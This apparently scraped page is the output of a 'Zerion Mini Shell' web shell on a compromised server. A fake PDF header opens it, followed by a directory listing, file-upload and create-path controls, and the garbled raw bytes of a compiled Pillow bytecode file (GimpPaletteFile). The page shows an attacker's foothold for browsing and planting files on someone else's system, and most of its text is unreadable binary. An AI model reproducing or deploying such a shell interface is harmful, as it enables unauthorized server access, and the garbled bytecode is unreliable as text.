%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/PIL/__pycache__/GimpPaletteFile.cpython-312.pyc

�

��ed��8�ddlmZddlZddlmZGd�d�Zy)�)�annotationsN�)�o8c� �eZdZdZdZd�Zd�Zy)�GimpPaletteFilez'File handler for GIMP's palette format.�RGBc	��td�D�cgc]}t|�dz��c}|_|j�dddk7r
d}t	|��td�D]�}|j�}|sn�tjd|�r�.t|�dkDr
d}t	|��ttt|j�dd��}t|�dk7r
d	}t|��t|d
�t|d�zt|d�z|j|<��d
j|j�|_ycc}w)N���sGIMP Paletteznot a GIMP palette files\w+:|#�dzbad palette filezbad palette entryrr��)�ranger�palette�readline�SyntaxError�re�match�len�tuple�map�int�split�
ValueError�join)�self�fp�i�msg�s�vs      �5/usr/lib/python3/dist-packages/PIL/GimpPaletteFile.py�__init__zGimpPaletteFile.__init__s��+0��:�6�a��1���	�6���
�;�;�=��"���0�+�C��c�"�"��s��	=�A����
�A����x�x�
�A�&���1�v��|�(��!�#�&�&��c�#�q�w�w�y��!�}�-�.�A��1�v��{�)�� ��o�%� ��1��h��A�a�D��1�B�q��t�H�<�D�L�L��O�#	=�&�x�x����-����37s�Ec�2�|j|jfS)N)r�rawmode)rs r#�
getpalettezGimpPaletteFile.getpalette8s���|�|�T�\�\�)�)rN)�__name__�
__module__�__qualname__�__doc__r&r$r'�rr#rrs��1��G�.�8*rr)�
__future__rr�_binaryrrr,rr#�<module>r/s�� #�	��"*�"*r

Zerion Mini Shell 1.0